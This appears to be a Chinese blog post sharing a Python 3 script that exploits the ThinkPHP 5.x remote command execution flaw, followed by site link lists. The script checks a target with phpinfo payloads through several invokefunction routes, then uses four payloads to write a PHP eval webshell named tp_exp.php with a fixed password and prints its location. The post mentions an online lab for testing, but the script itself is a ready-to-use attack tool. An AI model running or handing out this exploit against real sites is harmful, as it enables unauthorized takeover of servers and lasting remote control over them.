python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
在Python的Bottle框架中使用微信API的示例
Apr 23 Python
python通过openpyxl生成Excel文件的方法
May 12 Python
Python的pycurl包用法简介
Nov 13 Python
python使用fork实现守护进程的方法
Nov 16 Python
Python面向对象程序设计OOP深入分析【构造函数,组合类,工具类等】
Jan 05 Python
Python判断telnet通不通的实例
Jan 26 Python
利用python实现对web服务器的目录探测的方法
Feb 26 Python
python修改FTP服务器上的文件名
Sep 11 Python
python中自带的三个装饰器的实现
Nov 08 Python
Tensorflow 模型转换 .pb convert to .lite实例
Feb 12 Python
Python多重继承之菱形继承的实例详解
Feb 12 Python
使用python-cv2实现Harr+Adaboost人脸识别的示例
Oct 27 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
php引用计数器进行垃圾收集机制介绍
2012/09/19 PHP
PHP中将ip地址转成十进制数的两种实用方法
2013/08/15 PHP
ThinkPHP3.1新特性之对分组支持的改进与完善概述
2014/06/19 PHP
PHP正则表达式替换站点关键字链接后空白的解决方法
2014/09/16 PHP
PHP多线程之内部多线程实例分析
2015/03/09 PHP
php实现数组中索引关联数据转换成json对象的方法
2015/07/08 PHP
php接口技术实例详解
2016/12/07 PHP
一个高效的JavaScript压缩工具下载集合
2007/03/06 Javascript
js中通过split函数分割字符串成数组小例子
2013/09/21 Javascript
一个JavaScript的求爱小特效
2014/05/09 Javascript
jQuery实现鼠标可拖动调整表格列宽度
2014/05/26 Javascript
jQuery实现简单的列表式导航菜单效果代码
2015/08/31 Javascript
浅谈webpack-dev-server的配置和使用
2018/05/17 Javascript
解决layui轮播图有数据不显示的情况
2019/09/16 Javascript
vue中动态select的使用方法示例
2019/10/28 Javascript
vue-resourc发起异步请求的方法
2020/02/11 Javascript
[08:38]DOTA2-DPC中国联赛 正赛 VG vs Elephant 选手采访
2021/03/11 DOTA
Python爬虫包BeautifulSoup简介与安装(一)
2018/06/17 Python
flask框架配置mysql数据库操作详解
2019/11/29 Python
python如何使用socketserver模块实现并发聊天
2019/12/14 Python
python实现udp传输图片功能
2020/03/20 Python
解决pyPdf和pyPdf2在合并pdf时出现异常的问题
2020/04/03 Python
python 连续不等式语法糖实例
2020/04/15 Python
PyQt5实现仿QQ贴边隐藏功能的实例代码
2020/05/24 Python
python3爬虫中多线程进行解锁操作实例
2020/11/25 Python
联想澳大利亚官网:Lenovo Australia
2018/01/18 全球购物
英国高级健康和美容产品零售商:Life and Looks
2019/08/01 全球购物
Lancer Skincare官方网站:抗衰老皮肤护理
2020/11/20 全球购物
拉飞逸官网:Lafayette 148 New York
2020/07/15 全球购物
自我推荐书
2013/12/04 职场文书
解除劳动合同协议书(样本)
2014/10/02 职场文书
宾馆客房管理制度
2015/08/06 职场文书
2019最新版股权转让及委托持股协议书范本
2019/08/07 职场文书
浅谈Python响应式类库RxPy
2021/06/14 Python
教你如何使用Python实现二叉树结构及三种遍历
2021/06/18 Python
动作冒险《Hell Is Us》将采用虚幻5 消灭怪物探索王国
2022/04/13 其他游戏